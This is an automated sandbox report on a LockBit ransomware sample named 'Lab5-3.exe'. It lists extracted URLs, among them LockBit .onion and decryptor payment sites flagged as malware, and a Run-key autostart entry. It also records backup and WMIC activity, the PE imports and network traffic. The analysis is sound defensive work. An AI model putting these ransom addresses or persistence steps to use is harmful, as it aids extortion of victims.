https://chrome.google.com/webstore?hl=en&category=theme81https://myactivity.google.com/myactivity/?u	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://passwords.google.comGoogle	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://powerpoint.office.com	Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.torproject.org/	Lab5-3.exe, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr, Restore-My-Files.txt56.27.dr	false		high
https://excel.office.com	Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dc.services.visualstudio.com/v2/track	wctF86A.tmp.lockbit.0.dr	false		high
https://outlook.com	Lab5-3.exe, 00000000.00000003.2033908473.000000001B960000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/win81https://g.live.com/1rewlive5skydrive/win8https://g.live.co	wctF86A.tmp.lockbit.0.dr	false		high
https://www.google.com/intl/br/chrome/browser/	Lab5-3.exe, 0000001B.00000003.2736606134.0000000007C31000.00000004.00000020.00020000.00000000.sdmp	false		high
https://photos.google.com/settings?referrer=CHROME_NTP	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://myactivity.google.com/	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/chrome/privacy/eula_text.htmlManaged	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://lockbitks2tvnmwk.onion/?BC76D224712A7481BC6E90ACB6D18E50	Lab5-3.exe, 0000001B.00000002.3768778326.0000000000AE0000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000002.3215191351.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr	true	Avira URL Cloud: malware	unknown
https://www.google.com/intl/no/chrome/browser/	Lab5-3.exe, 0000001B.00000003.2741307384.0000000007AB1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=enShortcut	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/intl/nl/chrome/browser/	Lab5-3.exe, 0000001B.00000003.2741937870.0000000007B31000.00000004.00000020.00020000.00000000.sdmp	false		high
http://api.jqueryui.com/droppable/	Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chromeenterprise.google/policies/#BrowserSwitcherUseIeSitelist	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://lockbit-decryptor.top/?	Lab5-3.exe	true	Avira URL Cloud: malware	unknown
https://chromeenterprise.google/policies/#BrowserSwitcherUrlList	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://policies.google.com/	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/intl/en/chrome/browser/	Lab5-3.exe, 0000001B.00000003.2736606134.0000000007CB1000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 0000001B.00000003.2738995885.0000000007DB1000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 0000001B.00000003.2736606134.0000000007BB1000.00000004.00000020.00020000.00000000.sdmp	false		high
http://lockbitks2tvnmwk.onion/?	Lab5-3.exe	true	Avira URL Cloud: malware	unknown
https://bridges.torproject.org	Lab5-3.exe, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr, Restore-My-Files.txt56.27.dr	false		high
https://assets.activity.windows.com	Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	false		high
http://lockbit-decryptor.top/?BC76D224712A7481BC6E90ACB6D18E50	Lab5-3.exe, 0000001B.00000002.3768778326.0000000000AE0000.00000004.00000020.00020000.00000000.sdmp, Lab5-3.exe, 00000028.00000002.3215191351.0000000000A00000.00000004.00000020.00020000.00000000.sdmp, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr	true	Avira URL Cloud: malware	unknown
http://www.zurb.com/playground/jquery-text-change-custom-event	Lab5-3.exe, 0000001B.00000003.2763814011.00000000208F0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tb-manual.torproject.org/about	Lab5-3.exe, Restore-My-Files.txt72.0.dr, Restore-My-Files.txt68.27.dr, Restore-My-Files.txt111.27.dr, Restore-My-Files.txt140.27.dr, Restore-My-Files.txt30.40.dr, Restore-My-Files.txt96.0.dr, Restore-My-Files.txt15.40.dr, Restore-My-Files.txt95.40.dr, Restore-My-Files.txt5.0.dr, Restore-My-Files.txt106.40.dr, Restore-My-Files.txt4.27.dr, Restore-My-Files.txt133.27.dr, Restore-My-Files.txt110.40.dr, Restore-My-Files.txt60.27.dr, Restore-My-Files.txt150.27.dr, Restore-My-Files.txt61.0.dr, Restore-My-Files.txt120.27.dr, Restore-My-Files.txt116.0.dr, Restore-My-Files.txt97.40.dr, Restore-My-Files.txt56.27.dr	false		high
https://activity.windows.com	Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	false		high
https://assets.activity.windows.com/v1/assets/$batch	Lab5-3.exe, 00000000.00000003.1918395906.000000001B455000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromeenterprise.google/policies/#BrowserSwitcherUrlGreylist	Lab5-3.exe, 0000001B.00000003.1959689588.00000000194D0000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1432380
Start date and time:	2024-04-26 23:37:46 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	109
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Lab5-3.exe
Detection:	MAL
Classification:	mal100.rans.spre.expl.evad.winEXE@170/2848@4/100
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 91% Number of executed functions: 42 Number of non-executed functions: 91
Cookbook Comments:	Found application associated with file extension: .exe

Time	Type	Description
22:38:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run XO1XADpO01 "C:\Users\user\Desktop\Lab5-3.exe"
22:38:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run XO1XADpO01 "C:\Users\user\Desktop\Lab5-3.exe"
23:38:34	API Interceptor	3915344x Sleep call for process: Lab5-3.exe modified
23:38:43	API Interceptor	3x Sleep call for process: WMIC.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
239.255.255.250	http://www.superiorbillingsolutions.com	Get hash	malicious	Unknown	Browse
	Document_a51_19i793302-14b09981a5569-3684u8.js	Get hash	malicious	Latrodectus	Browse
	https://rise.articulate.com/share/zO8B8EFq4bxdit8kVRcUzBOZMbkl1WSz#/lessons/2GyyR-D75sLlZcXDanN5dOaLxSSkgNvo	Get hash	malicious	HTMLPhisher	Browse
	360total.dll.dll	Get hash	malicious	Latrodectus	Browse
	2k632W2O.exe	Get hash	malicious	Clipboard Hijacker	Browse
	https://sites.google.com/authorizewebcenter.com/565hu4?usp=sharing	Get hash	malicious	HTMLPhisher	Browse
	http://carajasnutricaoanimal.com	Get hash	malicious	Unknown	Browse
	phish_alert_sp2_2.0.0.0 - 2024-04-26T151509.287.eml	Get hash	malicious	HTMLPhisher	Browse
	Lab5-1.docx	Get hash	malicious	Unknown	Browse
	Purchase Order is approved26042024.cmd	Get hash	malicious	Remcos, DBatLoader	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	http://www.superiorbillingsolutions.com	Get hash	malicious	Unknown	Browse	23.202.106.101 20.114.59.183
	Document_a51_19i793302-14b09981a5569-3684u8.js	Get hash	malicious	Latrodectus	Browse	23.202.106.101 20.114.59.183
	https://rise.articulate.com/share/zO8B8EFq4bxdit8kVRcUzBOZMbkl1WSz#/lessons/2GyyR-D75sLlZcXDanN5dOaLxSSkgNvo	Get hash	malicious	HTMLPhisher	Browse	23.202.106.101 20.114.59.183
	360total.dll.dll	Get hash	malicious	Latrodectus	Browse	23.202.106.101 20.114.59.183
	2k632W2O.exe	Get hash	malicious	Clipboard Hijacker	Browse	23.202.106.101 20.114.59.183
	wxfSIz4PAi.exe	Get hash	malicious	Mars Stealer, PureLog Stealer, RedLine, Stealc, Vidar, zgRAT	Browse	23.202.106.101 20.114.59.183
	https://sites.google.com/authorizewebcenter.com/565hu4?usp=sharing	Get hash	malicious	HTMLPhisher	Browse	23.202.106.101 20.114.59.183
	http://carajasnutricaoanimal.com	Get hash	malicious	Unknown	Browse	23.202.106.101 20.114.59.183
	Lab5-1.docx	Get hash	malicious	Unknown	Browse	23.202.106.101 20.114.59.183
	Purchase Order is approved26042024.cmd	Get hash	malicious	Remcos, DBatLoader	Browse	23.202.106.101 20.114.59.183

Process:	C:\Users\user\Desktop\Lab5-3.exe
File Type:	Windows desktop.ini
Category:	dropped
Size (bytes):	129
Entropy (8bit):	5.323600488446077
Encrypted:	false
SSDEEP:	3:0NdQDjoqxyRVIQBU+1IVLfAPmBACaWZcy/FbBmedyn:0NwoSyzI2U8MAPVCawbBmeUn
MD5:	A526B9E7C716B3489D8CC062FBCE4005
SHA1:	2DF502A944FF721241BE20A9E449D2ACD07E0312
SHA-256:	E1B9CE9B57957B1A0607A72A057D6B7A9B34EA60F3F8AA8F38A3AF979BD23066
SHA-512:	D83D4C656C96C3D1809AD06CE78FA09A77781461C99109E4B81D1A186FC533A7E72D65A4CB7EDF689EECCDA8F687A13D3276F1111A1E72F7C3CD92A49BCE0F88
Malicious:	false
Preview:	[.ShellClassInfo]..CLSID={645FF040-5081-101B-9F08-00AA002F954E}..LocalizedResourceName=@%SystemRoot%\system32\shell32.dll,-8964..

Process:	C:\Windows\System32\wbadmin.exe
File Type:	dBase III DBT, version number 0, next free block index 10240, 1st item "\262Z@u"
Category:	dropped
Size (bytes):	30720
Entropy (8bit):	0.7375930362977854
Encrypted:	false
SSDEEP:	48:bR9+/i60TXIDUzaeOekOIeFd1OeveMeIMkaJ4eseTVlqsC9:b+/i6y3gGnVass0
MD5:	51F7144B8A963F2CADAA6DB8A797386B
SHA1:	0B0E8E9D1210BF718D2082F69D39A0EC6B071320
SHA-256:	F0B3FDDD74D849DF2458C896B24A418985B24B0274A198900044C4DB1969972B
SHA-512:	E9A6BAD19532F62D22D091E3488DC776A0D2352E70C6524088B1FE2CF8C77C7C51C89367AFB9E4A94FF773188633BE1F20DA541646BE0E0BD53C14E85724E89C
Malicious:	false
Preview:	.(..@...@...........................................!...............................(/...Z@u.............(......eJ......k.."...Zb..................................................@.t.z.r.e.s...d.l.l.,.-.3.2.2.......................................................@.t.z.r.e.s...d.l.l.,.-.3.2.1..............................................................O............4.."...........W.B.E.n.g.i.n.e...C.:.\.W.i.n.d.o.w.s.\.L.o.g.s.\.W.i.n.d.o.w.s.B.a.c.k.u.p.\.W.B.E.n.g.i.n.e...0...e.t.l...........P.P.....(/...Z@u................................................................8.B..Z@u....19041.1.amd64fre.vb_release.191206-1406.....,.@..Z@u...............'"a.-....spp.pdb........./.@..Z@u....W.p.D.......]....vssapi.pdb........@..Z@u.....T.c..i.\.C.s"8@....vssvc.pdb.......-.@..Z@u.....\..Q....T*&.......udfs.pdb........0.@..Z@u......B..,`..9..4.....ifsutil.pdb.....-.@..Z@u....I:...S%9.`...'.R....uudf.pdb........1.@..Z@u...........1$OI"......wbengine.pdb............0.@..Z@u.....2.R.+..

Process:	C:\Windows\System32\wbem\WMIC.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	28
Entropy (8bit):	4.208966082694623
Encrypted:	false
SSDEEP:	3:nLWGWNI3ov:nyGWNOov
MD5:	F2CE4C29DC78D5906090690C345EAF80
SHA1:	D12E3B86380F0DBEF4FBDFFE2CBFE2144FB7E9CD
SHA-256:	0356A869FC7E6495BAC33303B002935C317166D0EA5D403BE162573CF01055D8
SHA-512:	51F939C41710BC3A4E443CDAF33AAE614B043ACC2382A0C836049E34D2F51C8195FD149548752B33E4EDD4299548BB1957B89997FC640C837C9400D76FEA5B74
Malicious:	false
Preview:	No Instance(s) Available....

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.865644234929455
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Lab5-3.exe
File size:	149'504 bytes
MD5:	69bec32d50744293e85606a5e8f80425
SHA1:	101b90ac7e0c2a8b570686c13dfa0e161ddd00e0
SHA256:	95739e350d7f2aca2c609768ee72ad67fcf05efca5c7ad8df3027c82b9c454cf
SHA512:	e01f976fcbfa67cfd6e97855d07350a27b67fcc825d4e813ac9d2f4e8f464bb4f8bbbbe58a26bc27e78fa15db0ee5271e8f041dd72f036c11964eb1c591b438f
SSDEEP:	3072:V6ZkRGjkBrmKmY99UpkD1/34bIpVSrtLmqc2LVMMqqD/h2LuTeONA5tIHVcH:IS9rLPPUpa3VVEtLXcCqqD/hOQnaMcH
TLSH:	38E31725F156E276C4E70BB07668CFF658E8A434232090F7DBED0A5C18E4BE16E37256
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........u5...[...[...[..rZ...[.N.....[..}_...[..l....[...Z.o.[.4uR...[.4uX...[.4uY...[.Rich..[.................PE..L.....T_...........

Entrypoint:	0x416e10
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x5F548FDC [Sun Sep 6 07:29:32 2020 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	e9f710b579880d1b6ff748176eb620f1

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23f70	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x1b000	0x380	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x19a5a	0x19c00	d282ab13a7ed038291ebcb361830096c	False	0.5009196753640777	data	6.503595691687736	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x1b000	0xa444	0xa600	41b4a8ff28dfc1e35d11fda0c3b7161c	False	0.6074924698795181	data	6.858699193362039	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x26000	0x2440	0x200	61a1d0d72b8efbb6ade2837d50960342	False	0.556640625	data	4.593977658336991	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

DLL	Import
NETAPI32.dll	NetApiBufferFree, NetShareEnum
IPHLPAPI.DLL	GetAdaptersInfo
WS2_32.dll	WSAGetLastError, htons, connect, socket, inet_addr, WSAStartup, select, closesocket, __WSAFDIsSet, WSACleanup, ioctlsocket
CRYPT32.dll	CryptBinaryToStringA
gdiplus.dll	GdipGetImageEncodersSize, GdipDeleteGraphics, GdipDeleteStringFormat, GdipGetImageGraphicsContext, GdipDeleteFont, GdipCreateBitmapFromScan0, GdipSetStringFormatAlign, GdipSaveImageToFile, GdipCloneBrush, GdipDrawString, GdipFree, GdipDeleteBrush, GdipAlloc, GdipDisposeImage, GdipCreateLineBrushFromRect, GdipSetStringFormatLineAlign, GdipCreateFont, GdiplusStartup, GdipGetGenericFontFamilySansSerif, GdipCreateStringFormat, GdipDeleteFontFamily, GdipGetImageEncoders, GdipFillRectangle, GdipCreateFontFamilyFromName
SHLWAPI.dll	PathAddBackslashW, PathFindExtensionW, PathRemoveBackslashW, PathRemoveExtensionA, StrFormatByteSize64A, PathRemoveFileSpecW
MPR.dll	WNetCloseEnum, WNetOpenEnumW, WNetEnumResourceW, WNetGetConnectionW, WNetAddConnection2W
ntdll.dll	RtlEnterCriticalSection, RtlLeaveCriticalSection, RtlDeleteCriticalSection, RtlInitializeCriticalSection, NtSetInformationThread, NtAdjustPrivilegesToken, NtOpenProcessToken, NtQueryInformationToken, RtlGetAce, NtOpenProcess, RtlQueryInformationAcl, RtlAllocateAndInitializeSid, RtlAddAce, RtlLengthSid, NtClose, RtlAdjustPrivilege, RtlFreeSid, RtlAddAccessDeniedAce, NtSetInformationProcess, RtlCreateAcl, NtWaitForSingleObject, NtSetInformationFile, RtlDosPathNameToNtPathName_U, NtCreateIoCompletion, NtRemoveIoCompletion, NtQueryInformationFile, RtlInterlockedPushEntrySList, RtlInitializeSListHead, RtlInterlockedPopEntrySList, RtlInterlockedFlushSList, RtlInitUnicodeString, NtAllocateVirtualMemory, LdrEnumerateLoadedModules, RtlAcquirePebLock, RtlReleasePebLock
msvcrt.dll	malloc, calloc, free
KERNEL32.dll	GetLocalTime, GetProcAddress, SetThreadUILanguage, GetConsoleMode, GetWindowsDirectoryW, GetCurrentProcess, GlobalFree, GlobalAlloc, ReadFile, FindNextVolumeW, GetVolumePathNamesForVolumeNameW, GetModuleHandleA, SetProcessShutdownParameters, SetConsoleMode, WriteFile, GetConsoleWindow, SetConsoleTitleA, FindVolumeClose, SetVolumeMountPointW, FindFirstVolumeW, QueryDosDeviceW, GetVersion, CreateProcessA, lstrcmpiA, GetCurrentProcessId, MoveFileExW, Process32Next, CreateToolhelp32Snapshot, OpenProcess, GetUserDefaultUILanguage, TerminateProcess, GetSystemDefaultUILanguage, Process32First, LoadLibraryA, OpenMutexA, CreateMutexA, GetTickCount, Sleep, GetTempFileNameW, GetTempPathW, GetDriveTypeW, lstrcmpiW, ExitProcess, CreateThread, CloseHandle, DeleteFileW, GetDiskFreeSpaceExW, SetFileAttributesW, ExitThread, GetFileAttributesW, CreateFileW, FindClose, SetConsoleTextAttribute, WaitForMultipleObjects, FindNextFileW, FindFirstFileExW, GetLogicalDrives, AllocConsole, SetConsoleCtrlHandler
USER32.dll	wsprintfW, GetMessageW, GetSystemMenu, SystemParametersInfoW, DeleteMenu, wsprintfA, CharUpperA, SetWindowLongA, PeekMessageW, GetWindowLongA, wvsprintfA, RegisterHotKey, FlashWindow, SetLayeredWindowAttributes, EnableMenuItem, MessageBoxA, GetSystemMetrics, GetShellWindow, GetWindowThreadProcessId, IsWindowVisible, ShowWindow, CharLowerBuffW
ADVAPI32.dll	CloseServiceHandle, RegQueryValueExW, RegDeleteValueW, RegSetValueExA, RegSetValueExW, RegCreateKeyExA, RegQueryValueExA, OpenProcessToken, DuplicateToken, OpenThreadToken, GetTokenInformation, SetSecurityInfo, RegOpenKeyA, RegCloseKey, GetSecurityInfo, EnumDependentServicesA, SetThreadToken, OpenSCManagerA, ControlService, QueryServiceStatusEx, OpenServiceA, SetFileSecurityW, CryptAcquireContextW, SetSecurityDescriptorOwner, CryptGenRandom, LookupPrivilegeValueA, CreateWellKnownSid, CheckTokenMembership, InitializeSecurityDescriptor, CryptReleaseContext
SHELL32.dll	SHEmptyRecycleBinW, ShellExecuteW, SHGetFolderPathW, ShellExecuteExA, ShellExecuteExW, CommandLineToArgvW
ole32.dll	CoGetObject, CoUninitialize, CoInitializeEx

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 26, 2024 23:38:29.232151985 CEST	49678	443	192.168.2.4	104.46.162.224
Apr 26, 2024 23:38:29.607124090 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 26, 2024 23:38:39.231587887 CEST	49675	443	192.168.2.4	173.222.162.32
Apr 26, 2024 23:38:45.410434961 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:45.410466909 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:45.410650969 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:45.410898924 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:45.410907030 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:45.803493977 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:45.860143900 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:47.085452080 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:47.085474968 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:47.086534023 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:47.086551905 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:47.087193966 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:47.116302013 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:47.116403103 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:47.159029961 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:47.159038067 CEST	443	50243	142.250.217.228	192.168.2.4
Apr 26, 2024 23:38:47.200337887 CEST	50243	443	192.168.2.4	142.250.217.228
Apr 26, 2024 23:38:47.683595896 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:47.683681011 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:47.684348106 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:47.690264940 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:47.690299988 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:47.957772970 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:47.964139938 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:47.967699051 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:47.984925032 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:47.984954119 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:47.985924959 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.161758900 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.208115101 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.288235903 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.288386106 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.303900957 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.306312084 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.306349993 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.306380987 CEST	50245	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.306396008 CEST	443	50245	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.373666048 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.373697042 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:48.373766899 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.374025106 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:48.374037027 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.406919956 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.407017946 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:49.408385992 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:49.408397913 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.409162045 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.416933060 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:49.464117050 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.654421091 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.654598951 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.664138079 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:49.669614077 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:52.877626896 CEST	50246	443	192.168.2.4	23.202.106.101
Apr 26, 2024 23:38:52.877660990 CEST	443	50246	23.202.106.101	192.168.2.4
Apr 26, 2024 23:38:52.877676964 CEST	50246	443	192.168.2.4	23.202.106.101
